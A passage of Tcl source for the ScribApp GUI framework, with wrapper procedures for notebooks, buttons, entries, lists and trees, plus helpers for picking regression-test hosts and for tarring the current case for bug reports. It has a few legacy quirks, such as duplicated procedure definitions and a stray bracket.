    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    
    set nbframe "$w.nbframe${row}"
    
    set expanddata "0 1" ;# be careful about any changes to these grid params!! --jka
    set tabdata "$row $col -sticky nw -fill x -cols -"
    gui_Widget_frame $nbframe flat 1 $tabdata $expanddata
    set ::ScribApp::_data_frame(notebook_frame) $nbframe
    incr row
        
    set w ${nbframe}.nb
    set pages ""
    set expanddata "0 1" ;# be careful about any changes to these grid params!! --jka
    set tabdata "$row $col -sticky nw -fill x -cols -"
    gui_Widget_notebook_open $w $pages $tabdata $expanddata
    incr row
    
    #xxxxxxxxxxxxxxxxxxxx
    set ::ScribApp::_data_frame(notebooks_exists) 1
    
    set ::ScribApp::_data_frame(row) $row
    
    #set ::ScribApp::_data_frame(notebooks) $w
    lappend ::ScribApp::_data_frame(notebooks) $w
    
    set ::ScribApp::_cur_path $w
    
    putdebug "gui_dataNotebook_begin: started $w\n"
    if 0 {set ::ScribApp::_data_frame_notebook(book_is_open) 1 }
}
#
#
#
proc ::ScribApp::gui_dataNotebook_end {} {
    
    if 0 {
	if $::ScribApp::_data_frame_notebook(page_is_open) {
	    gui_dataNotebookPage_end
	}
    }
    if {"" == $::ScribApp::_data_frame(notebooks)} {
	stdout "there is no notebook to end!\n"
	return
    }
    #gui_Widget_notebook_close $::ScribApp::_data_frame(notebook)
    # close the path of the last element in the notebooks list
    set curnotebook [lindex $::ScribApp::_data_frame(notebooks) end]
    
    putdebug "gui_dataNotebook_end: ending $curnotebook\n"
    gui_Widget_notebook_close $curnotebook
    
    #set ::ScribApp::_data_frame(notebook) ""
    set ::ScribApp::_data_frame(notebooks) [lreplace $::ScribApp::_data_frame(notebooks) end end]
    set newcurnotebook [lindex $::ScribApp::_data_frame(notebooks) end]
    
    if {"" != $::ScribApp::_data_frame(notebooks)} {
	set ::ScribApp::_data_frame(notebook_frame) ""
	set ::ScribApp::_cur_path $newcurnotebook
    } else {
	set ::ScribApp::_data_frame(notebook_frame) ""
	set ::ScribApp::_cur_path $::ScribApp::_data_frame(root)
    }
    putdebug "gui_dataNotebook_end: back in $::ScribApp::_cur_path\n"
    
    if 0 { set ::ScribApp::_data_frame_notebook(book_is_open) 0 }
}
#
# 
#
proc ::ScribApp::gui_dataNotebookPage_begin {title} {
    
    if 0 {
	# if there is a notebook page open, and we are asked to open a new page
	#   end the last page
	
	if $::ScribApp::_data_frame_notebook(page_is_open) {
	    gui_dataNotebookPage_end
	}
	set ::ScribApp::_data_frame_notebook(page_is_open) 1
    }
    
    #set notebook $::ScribApp::_data_frame(notebook)    
    set notebook [lindex $::ScribApp::_data_frame(notebooks) end]
    if {"" == $notebook} {
	stdout "no notebook initilialized in this app: use scrib_app_data_notebook_create!\n"
	return
    }
    
    set pname [scrib_lib_utils_string_to_path $title]
    
    set d [gui_Widget_notebook_addpage $notebook $pname $title]
    
    putdebug "gui_dataNotebookPage_begin: started $d"
    set ::ScribApp::_data_frame(notebooks,$notebook,page) $d
    set ::ScribApp::_cur_path $::ScribApp::_data_frame(notebooks,$notebook,page)
    
    if 0 { set ::ScribApp::_data_frame_notebook(page_is_open) 1 }
}
#
#
#
proc ::ScribApp::gui_dataNotebookPage_end {} {
    
    #set notebook $::ScribApp::_data_frame(notebook)
    set notebook [lindex $::ScribApp::_data_frame(notebooks) end]
    if {"" == $notebook} {
	stdout "no notebook initilialized in this app: use scrib_app_data_notebook_create!\n"
	return
    }
    if [info exists ::ScribApp::_data_frame(notebooks,$notebook,page)] {
	set notebookpage $::ScribApp::_data_frame(notebooks,$notebook,page)
	putdebug "gui_dataNotebookPage_end: ending $notebookpage\n"
    }
    
    #set ::ScribApp::_cur_path $notebook
    set ::ScribApp::_cur_path $notebook

    putdebug "gui_dataNotebookPage_end: back in $notebook\n"
    if 0 { set ::ScribApp::_data_frame_notebook(page_is_open) 0 }
}
#-------------------------------------------------------------------------
#
# gui_Widget_*: a layer to aid migration from guibase/form_* procs if necessary
#               helps configure automatically and do other things
#
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
#
proc ::ScribApp::gui_Widget_frame {w {relief flat} {bw 0} {tabdata ""} \
	{expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_frame_guibase $w $relief $bw $tabdata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_frame_bwidget $w $relief $bw $tabdata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_frame_guibase {w {relief flat} {bw 0} {tabdata ""} \
	{expanddata ""}} {
    global debug
    #
    # if debug is on, then make everthing raised with borderwidth!
    #
    putdebug "gui_Widget_frame: $w ; $tabdata"
    if {[info exists debug] && $debug} {
	putdebug "\t(debug is on--frame relief set to ridge)"
	set relief "ridge"
	set bw 1
    }
    set path [form_frame $w $relief $bw $tabdata]
putdebug "given $w and got $path"
    gui_Widget_configure $w $tabdata $expanddata
    return $path
}
proc ::ScribApp::gui_Widget_frame_bwidget {w {relief flat} {bw 0} {tabdata ""} \
	{expanddata ""}} {
    error
}
#
#
#
proc ::ScribApp::gui_Widget_label_frame {w desc {tabdata ""} {expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_label_frame_guibase $w $desc $tabdata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_label_frame_bwidget $w $desc $tabdata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_label_frame_guibase {w desc {tabdata ""} {expanddata ""}} {
    global debug
    #
    # if debug is on, then make everthing raised with borderwidth!
    #
    putdebug "gui_Widget_label_frame: $w ; $tabdata"
    if {[info exists debug] && $debug} {
	putdebug "\t(debug is on--frame relief set to ridge)"
    }
    form_label_frame $w $desc $tabdata]
    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_frame_bwidget {w desc {tabdata ""} {expanddata ""}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_label {w text tabdata {activedata ""} {expanddata "0 0"}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_label_guibase $w $text $tabdata $activedata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_label_bwidget $w $text $tabdata $activedata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_label_guibase {w text tabdata \
	{activedata ""} {expanddata "0 0"}} {
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_label: activedata is $activedata<--------\n"
    }
    form_label $w $text $tabdata $activedata
    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_label_bwidget {w text tabdata \
	{activedata ""} {expanddata "0 0"}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_label_image {w image tabdata {activedata ""} {expanddata "0 0"}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_label_image_guibase $w $image $tabdata $activedata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_label_image_bwidget $w $image $tabdata $activedata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_label_image_guibase {w image tabdata \
	{activedata ""} {expanddata ""}} {
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_label_image: activedata is $activedata<--------\n"
    }
    form_label_image $w $image $tabdata $activedata
    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_label_image_bwidget {w image tabdata \
	{activedata ""} {expanddata "0 0"}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_button {w text command tabdata \
	{activedata ""} {expanddata ""} {color none}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_button_guibase $w $text $command $tabdata $activedata $expanddata $color]
	}
	"bwidget" {
	    return [gui_Widget_button_bwidget $w $text $command $tabdata $activedata $expanddata $color]
	}
    }
}
proc ::ScribApp::gui_Widget_button_guibase {w text command tabdata \
	{activedata ""} {expanddata "0 0"} {color none}} {
    
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_button: activedata is $activedata<--------\n"
    }
    if 0 {
	# this one may pad undesirably
	form_button $w $text $command $tabdata $activedata
    } else {
	Button $w -text " $text " -command $command -anchor c
	form_dotab $w $tabdata nw
	form_doactive $w button $activedata
    }
        
    switch -- $color {
	grey - gray {
	    $w configure -background gray85 -activebackground gray70 \
		-disabledforeground gray95
	}
	default { }
    }
    
    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_button_bwidget {w text command tabdata \
	{activedata ""} {expanddata "0 0"} {color none}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_checkbutton {w desc type tabdata \
	{activedata ""} {expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_checkbutton_guibase $w $desc $type $tabdata $activedata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_checkbutton_bwidget $w $desc $type $tabdata $activedata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_checkbutton_guibase {w desc var tabdata \
	{activedata ""} {expanddata ""}} {
    
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_checkbutton: activedata is $activedata<--------\n"
    }
    form_checkbutton $w $desc $var $tabdata $activedata
    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_checkbutton_bwidget {w desc var tabdata \
	{activedata ""} {expanddata ""}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_entry {w var type tabdata \
	{activedata ""} {expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_entry_guibase $w $var $type $tabdata $activedata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_entry_bwidget $w $var $type $tabdata $activedata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_entry_guibase {w var type tabdata \
	{activedata ""} {expanddata ""}} {
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_entry: activedata is $activedata<--------\n"
    }
    form_entry $w $var $type $tabdata $activedata
    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_entry_bwidget {w var type tabdata \
	{activedata ""} {expanddata ""}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_notebook_open {w {pages ""} {tabdata ""} \
	{expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_notebook_open_guibase $w $pages $tabdata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_notebook_open_bwidget $w $pages $tabdata $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_notebook_open_guibase {w {pages ""} {tabdata ""} \
	{expanddata ""}} {
    form_notebook $w $pages $tabdata
    
    gui_Widget_configure $w $tabdata $expanddata
    
    putdebug "gui_Widget_notebook_open: $w ; $tabdata"
}
proc ::ScribApp::gui_Widget_notebook_open_bwidget {w {pages ""} {tabdata ""} \
	{expanddata ""}} {
    error
}
#
# -----------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_notebook_close {w} {    
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_notebook_close_guibase $w]
	}
	"bwidget" {
	    return [gui_Widget_notebook_close_bwidget $w]
	}
    }
}
proc ::ScribApp::gui_Widget_notebook_close_guibase {w} {    
    form_notebook_finish $w
    putdebug "gui_Widget_notebook_close: $w"    
}
proc ::ScribApp::gui_Widget_notebook_close_bwidget {w} {
    error
}
#
# ---------------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_notebook_addpage {w pagew title} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_notebook_addpage_guibase $w $pagew $title]
	}
	"bwidget" {
	    return [gui_Widget_notebook_addpage_bwidget $w $pagew $title]
	}
    }
}
proc ::ScribApp::gui_Widget_notebook_addpage_guibase {w pagew title} {
    set d [form_notebook_addpage $w $pagew $title]
    putdebug "gui_Widget_notebook_addpage: $w $pagew --> $d\n"
    return $d
}
proc ::ScribApp::gui_Widget_notebook_addpage_bwidget {w pagew title} {
    error
}
#
# ---------------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_choicelist {w desc var choices tabdata \
	{activedata ""} {expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_choicelist_guibase $w $desc $var $choices $tabdata $activedata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_choicelist_bwidget $w $desc $var $choices $tabdata $activedata $expanddata]
	}
    }    
}
proc ::ScribApp::gui_Widget_choicelist_guibase {w desc var choices tabdata \
    {activedata ""} {expanddata ""}} {
    
    set opts $choices
    putdebug "var: $var; opts: $opts"
    putdebug "gui_Widget_choicelist: tabdata $tabdata activedata $activedata"
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_entry: activedata is $activedata<--------\n"
    }
    set update_cmd "" ;#gui_Widget_choicelist_update
    form_optionmenu $w $var $opts $tabdata $activedata $update_cmd
    
    #
    # add $w and $var to the list of things to be updated
    #
    lappend ::ScribApp::_option_menus "$w $var"

    gui_Widget_configure $w $tabdata $expanddata
}
proc ::ScribApp::gui_Widget_choicelist_bwidget {w desc var choices tabdata \
	{activedata ""} {expanddata ""}} {
    
}
#
# ---------------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_radioset {w desc var choices tabdata \
	{activedata ""} {expanddata ""}} {
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_radioset_guibase $w $desc $var $choices $tabdata $activedata $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_radioset_bwidget $w $desc $var $choices $tabdata $activedata $expanddata]
	}
    }
    
}
proc ::ScribApp::gui_Widget_radioset_guibase {w desc var choices tabdata \
	{activedata ""} {expanddata ""}} {    
    
    putdebug "gui_Widget_radio: tabdata $tabdata activedata $activedata"
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_entry: activedata is $activedata<--------\n"
    }
    
    putdebug "gui_Widget_radioset: $tabdata\n"
    set row [lindex $tabdata 0]
    set col [lindex $tabdata 1]

    if 0 {
	# xxxx if it's less than three radio buttons, then make them horizontal xxx
	if {3 > [llength $choices]} { set horiz 1} else { set horiz 0 }
    }
    
    set ind 0
    foreach pair $choices {	
	set val [lindex $pair 0]
	set text [lindex $pair 1]
	set path ${w}.rad${val}${ind}
	
	putdebug "val: $val; text: $text\n"
	putdebug "gui_Widget_radioset: form_radiobutton $path $text $var\n"
	
	set tabdata "$row $col -cols 2"
	form_radiobutton $path $text $var $val $tabdata $activedata
	gui_Widget_configure $path $tabdata $expanddata
	
	if 0 { if $horiz { incr col 2 } else { incr row } } else { incr row }
    }
    if 0 { if $horiz { incr row } }

    return $row
}
proc ::ScribApp::gui_Widget_radioset_bwidget {w desc var choices tabdata \
	{activedata ""} {expanddata ""}} {    
    error
}
#
# -----------------------------------------------------------------------------------------
#
#
#
proc ::ScribApp::gui_Widget_listbox {w desc var items dclick_cmd tabdata \
	{activedata ""} {multiple 1} {expanddata ""}} {
    
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_listbox_guibase $w $desc $var $items $dclick_cmd $tabdata $activedata \
			$multiple $expanddata]
	}
	"bwidget" {
	    return [gui_Widget_listbox_bwidget $w $desc $var $items $dclick_cmd $tabdata $activedata \
			$multiple $expanddata]
	}
    }
}
proc ::ScribApp::gui_Widget_listbox_guibase {w desc var items dclick_cmd tabdata \
	{activedata ""} {multiple 1} {expanddata ""}} {
    
    putdebug "gui_Widget_listbox: tabdata $tabdata activedata $activedata"
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_listbox: activedata is $activedata<--------\n"
    }
    
    putdebug "gui_Widget_listbox: $tabdata\n"
    set row [lindex $tabdata 0]
    set col [lindex $tabdata 1]
    
    set path ${w}.list$row$col
    set tabdata "$row $col"
    
    putdebug "gui_Widget_listbox: form_listbox $path $desc $var with items: $items\n"
    
    set click_cmd "::ScribApp::_manage_list_var $var"
    
    form_listbox $path $desc $items $click_cmd $dclick_cmd "" $tabdata $activedata 0 0 $multiple
    gui_Widget_configure $path $tabdata $expanddata

    return $row
}
proc ::ScribApp::gui_Widget_listbox_bwidget {w desc var items dclick_cmd tabdata \
	{activedata ""} {multiple 1} {expanddata ""}} {
    error
    
}
proc ::ScribApp::_manage_list_var {var val} {
    
    if ![info exists $var] {
	set $var $val
	return
    }
    
    set ind [lsearch [set $var] $val]
    
    if {0 <= $ind} {
	set $var [lreplace [set $var] $ind $ind]
    } else {
	lappend $var $val
    }
}
proc ::ScribApp::gui_Widget_tree {w var tabdata mouse1_image_cmd mouse2_image_cmd mouse3_image_cmd \
				      mouse1_text_cmd mouse2_text_cmd mouse3_text_cmd {activedata ""} {expanddata ""} {opts ""} } {
    
    switch -- [gui_Widget_module] {
	"guibase" {
	    return [gui_Widget_tree_guibase $w $var $tabdata $mouse1_image_cmd $mouse2_image_cmd $mouse3_image_cmd \
			$mouse1_text_cmd $mouse2_text_cmd $mouse3_text_cmd $activedata $expanddata $opts]
	}
	"bwidget" {
	    return [gui_Widget_tree_bwidget $w $var $tabdata $mouse1_image_cmd $mouse2_image_cmd $mouse3_image_cmd \
			$mouse1_text_cmd $mouse2_text_cmd $mouse3_text_cmd $activedata $expanddata $opts]
	}
    }
}
#
#
#
proc tree_populate {tree tree_var_name} {
    global $tree_var_name
    
    array set tree_array [array get $tree_var_name]
    
    if [info exists tree_array(__SEPARATOR__)] {
	set separator $tree_array(__SEPARATOR__)
    } else {
	set separator ","
    }
    #
    # --> 
    #
    eval $tree delete [$tree nodes root]
    #
    # --> 
    #
    set max_order 0
    set hash_keys [lsort [array names tree_array]]
    foreach hk $hash_keys {
	    
	set split_hk [split $hk $separator]
	set order  [llength $split_hk]
	set lastel [lindex  $split_hk end]
	
	if {("__" == [string range $lastel 0 1]) && \
		("__" == [string range $lastel end-1 end]) } {
	    continue
	}
	
	lappend tree_order_keys(order${order}_nodes) $hk
	if {$max_order < $order} {
	    set max_order $order
	}
    }
    if ![info exists tree_order_keys(order1_nodes)] {
	return ""
    }
    set root_hash_keys $tree_order_keys(order1_nodes)
    
    foreach hk $root_hash_keys {
	
	set t $tree_array($hk)
	if [catch {$tree insert end root "$hk" -text "$t" -data "node $hk" -open 0} res] {
	    stdout "Error: $res\n" red
	} elseif [info exists tree_array($hk,__IMAGE__)] {
	    scrib_app_tree_node_configure_image $tree $hk $tree_array($hk,__IMAGE__)
	}
    }
    
    set order 2
    while {$order <= $max_order} {
	
	set this_order_hash_keys $tree_order_keys(order${order}_nodes)
	
#puts "order${order}_nodes $this_order_hash_keys"
	foreach hk $this_order_hash_keys {
	    
	    set parent_hash_key [scrib_lib_utils_get_valid_token [lrange [split $hk $separator] 0 end-1] $separator]	    
	    set t $tree_array($hk)
	    if [catch {$tree insert end "$parent_hash_key" "$hk" -text "$t" -data "node $hk" -open 0} res] {
		stdout "Error: $res\n" red
		break
	    } elseif [info exists tree_array($hk,__IMAGE__)] {
		scrib_app_tree_node_configure_image $tree $hk $tree_array($hk,__IMAGE__)
	    }
	}
	
	incr order
    }
}

proc ::ScribApp::gui_Widget_tree_guibase {w var tabdata mb1_i_cmd mb2_i_cmd mb3_i_cmd \
					                mb1_t_cmd mb2_t_cmd mb3_t_cmd \
					  {activedata ""} {expanddata ""} {opts ""}} {
    
    putdebug "gui_Widget_tree: tabdata $tabdata activedata $activedata expanddata $expanddata"
    set activedata [dataFrame_activedata_configure $activedata]
    if {"" != $activedata} {
	putdebug "gui_Widget_tree: activedata is $activedata<--------\n"
    }
    
    putdebug "gui_Widget_tree: $tabdata\n"
    set row [lindex $tabdata 0]
    set col [lindex $tabdata 1]
    
    set path ${w}.tree$row$col
    #set tabdata "$row $col"
    
    putdebug "gui_Widget_tree: form_tree $path $var $tabdata\n"
    
    set options " -width 75 -height 25" ;# work-a-round --jka
    set tree [form_tree $path $tabdata $options]
    if {"" == $tree} {
	mess "Warning could not post tree widget to form\n" red
	return $row
    }
    #gui_Widget_configure $path $tabdata $expanddata

    global $var
    if [array exists $var] {
	eval set ${var}(__TREE__) $tree
    }
    
    $tree bindImage <1> $mb1_i_cmd
    $tree bindText  <1> $mb1_t_cmd
    $tree bindImage <2> $mb2_i_cmd
    $tree bindText  <2> $mb2_t_cmd
    $tree bindImage <3> $mb3_i_cmd
    $tree bindText  <3> $mb3_t_cmd
    
    tree_populate $tree $var
    
    return $path
}
proc ::ScribApp::gui_Widget_tree_bwidget {w var tabdata mb1_cmd mb2_cmd mb2_cmd {opts ""} {activedata ""} {expanddata ""}} {    
    error
}
#
# gui_Widget_configure:
#        --tabdata: as given other procs (it gets
#          the row and col from the first two slots respectively).
#        --exanpdv: a two element list of bools (e.g. {0 1}) which
#          says whether or not to expand the widget in the row/col dir          
#
proc ::ScribApp::gui_Widget_configure {w tabdata expandv} {
    
    if {"" == $expandv} { return }

    if ![winfo exists $w] {
	putdebug "could not get window $w for configuration!"
	return
    }
    set parent [winfo parent $w]
    if {"" == $parent} {
	stdout "could not get parent of window $w!\n"
	return
    }
    
    set row [lindex $tabdata 0]
    set col [lindex $tabdata 1]
    
    set rowweight [expr {[lindex $expandv 0] ? "-weight 100" : "-weight 0"}]
    set colweight [expr {[lindex $expandv 1] ? "-weight 100" : "-weight 0"}]
    
    eval grid    rowconfigure $parent $row $rowweight
    eval grid columnconfigure $parent $col $colweight

    if 0 {
	set color $::ScribApp::_window_color
	switch -- $color {
	    grey - gray {
		$w configure -background gray70
		#-activebackground gray70
		#-disabledforeground gray95
	    }
	    default { }
	}
    }
    
    putdebug "configured $parent row $row to $rowweight"
    putdebug "configured $parent col $col to $colweight"
}
#
#
#
proc ::ScribApp::gui_Widget_pack {w tabdata} {    
    #
    # this packing screws stuff up because of grid. just return.
    #
    return    
    
    if ![winfo exists $w] {
	putdebug "could not get window $w for packing!"
	return
    }
    if {![info exists ::ScribApp::_data_frame(notebook_exists)] || \
	    !$::ScribApp::_data_frame(notebook_exists)} {
	putdebug "no notebook, not packing $w"
	return
    }
    
    putdebug "trying to pack $w with tabdata $tabdata..."
    eval pack configure $w $tabdata
    putdebug "...packed $w\n"
}
#
# ---------------------------------------------------------------------
# 
# This will run all commands connected to buttons in the GUI,
# in the order of the buttons, or else read these commands from
# a file in the regression_directory called test_script_settings
#
# Usage:
#   $scribapp(.bat) -batch -regression $regression_settings
#

 proc ::ScribApp::bsm_get_plats {} {
 set sel_plat ""
 foreach plat {win sgi64 sol64 linux linux64_amd linux64 hp11 } {
   set var1 ${plat}_on
   set var2 set_remote_mc_${plat}
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} { 
	lappend sel_plat $plat
      }
 } 
  return $sel_plat
} 
#
 proc ::ScribApp::regression_get_plats {} {
 set sel_plat ""
 foreach plat {win sgi64 sol64 linux linux64_amd linux64 hp11 hpit ibm64} {
   set var1 ${plat}_on
   set var2 set_remote_mc_${plat}
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} { 
	lappend sel_plat $plat
      }
 } 
  return $sel_plat
} 
#
 proc ::ScribApp::regression_get_hosts {} {
 set sel_host ""
 foreach plat {win sgi64 sol64 linux linux64_amd linux64 hp11 hpit ibm64} {
   set var1 set_icem_acn_${plat}
   set var2 set_remote_mc_${plat}
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
 } 
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_win {} {
 set sel_host ""
   set var1 set_icem_acn_win 
   set var2 set_remote_mc_win 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_sgi64 {} {
 set sel_host ""
   set var1 set_icem_acn_sgi64 
   set var2 set_remote_mc_sgi64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
#
 proc ::ScribApp::regression_get_hosts_sol64 {} {
 set sel_host ""
   set var1 set_icem_acn_sol64 
   set var2 set_remote_mc_sol64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_linux {} {
 set sel_host ""
   set var1 set_icem_acn_linux 
   set var2 set_remote_mc_linux 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_linux64_amd {} {
 set sel_host ""
   set var1 set_icem_acn_linux64_amd 
   set var2 set_remote_mc_linux64_amd 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_linux64 {} {
 set sel_host ""
   set var1 set_icem_acn_linux64
   set var2 set_remote_mc_linux64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_hp11 {} {
 set sel_host ""
   set var1 set_icem_acn_hp11 
   set var2 set_remote_mc_hp11
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_hpit {} {
 set sel_host ""
   set var1 set_icem_acn_hpit 
   set var2 set_remote_mc_hpit 
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
 proc ::ScribApp::regression_get_hosts_ibm64 {} {
 set sel_host ""
   set var1 set_icem_acn_ibm64 
   set var2 set_remote_mc_ibm64
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} {
      set host [scrib_app_scrib_data_get $var2] 
	lappend sel_host $host 
      }
  return $sel_host 
} 
#
#
#
#

proc ::ScribApp::regressionTest_run {} {
    global proc_scrib_data
    #
    # --> 
    #
    #
    stdout "\nRunning regression testing defined for [applicationIdent]\n"
    #        
    scrib_app_data_get
    set site "berkeley"
    if [info exists proc_scrib_data(test_site)] {
	set site $proc_scrib_data(test_site)
    }
    scrib_lib_regression_set_site $site
    
	set platforms [::ScribApp::regression_get_plats]

    
    set report_bugs 0 ;# fixme
    set run_comparison "none"
    set time_profiling "rel"
    #
    # run through each cmd in cmds_to_test
    #
    set cmds_to_test $::ScribApp::_cmds
    stdout "\ttesting commands: $cmds_to_test\n"
    
    scrib_lib_regression_bsm_test_commands $cmds_to_test $platforms $report_bugs $run_comparison
    set stat "NO_STAT"
    #
    stdout "\nRan regresstion testing in [pwd]: stat is $stat...\n"
    #
    # should be able to return something...
    #
    return $stat
}

# ---------------------------------------------------------------------
#
# ::ScribApp::package_current_state
#
# package up the current case (as for bug reporting)
#    .*scrib_*_settings file,
#    the current_med_script.tcl,
#    the part
#    the current messages,

proc ::ScribApp::package_current_state {{tarfile ""}} {
    global proc_scrib_data
    
    if {"" == $tarfile} {
	set def [file join . current_bsm_state.tgz]
	set tarfile [file_select "Select a file to pacakge the current state" $def "" 0 1]
    }
    
    if { ( ![info exists proc_scrib_data(model)] ) || ( "" == $proc_scrib_data(model) ) } {
	stdout "no current model to package...returning.\n" red
	return 0
    
    }
    set files_to_tar ""
    
    set part $proc_scrib_data(model)
    if [file exists $part] {
	append files_to_tar "$part "
    }
    
    set settings $::ScribApp::_settings_file
    if ![file exists $settings] {
	::ScribApp::userInfo_save 0
    }
    if [file exists $settings] {
	append files_to_tar "$settings "
    }
    set script [file join . current_med_script.tcl]
    if [file exists $script] {
	append files_to_tar "$script "
    }
    set messages "[file root $part]_messsages.txt"
    set messages [scrib_lib_exec_messages_save $messages]
    append files_to_tar "$messages "
    
    set tarcmd "exec tar cvfz $tarfile $files_to_tar"
    if [catch eval "$tarcmd" res] {
	stdout "could not package up current case (files: $files_to_tar) to tar file ($tarfile): $res\n" red
    } else {
	stdout "packaged up current case (files: $files_to_tar) to tar file ($tarfile)\n"
    }
}


 proc ::ScribApp::bsm_get_plats {} {
 set sel_plat ""
 foreach plat {win sgi64 sol64 linux linux64_amd linux64 hp11 } {
   set var1 ${plat}_on
   set var2 set_remote_mc_${plat}
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} { 
	lappend sel_plat $plat
      }
 } 
  return $sel_plat
} 
#
 proc ::ScribApp::bsm_get_plats {} {
 set sel_plat ""
 foreach plat {win sgi64 sol64 linux linux64_amd linux64 hp11 hpit ibm64} {
   set var1 ${plat}_on
   set var2 set_remote_mc_${plat}
   if {[scrib_app_scrib_get_value $var1] && [scrib_app_scrib_get_value $var2]} { 
	lappend sel_plat $plat
      }
 } 
  return $sel_plat
} 
#
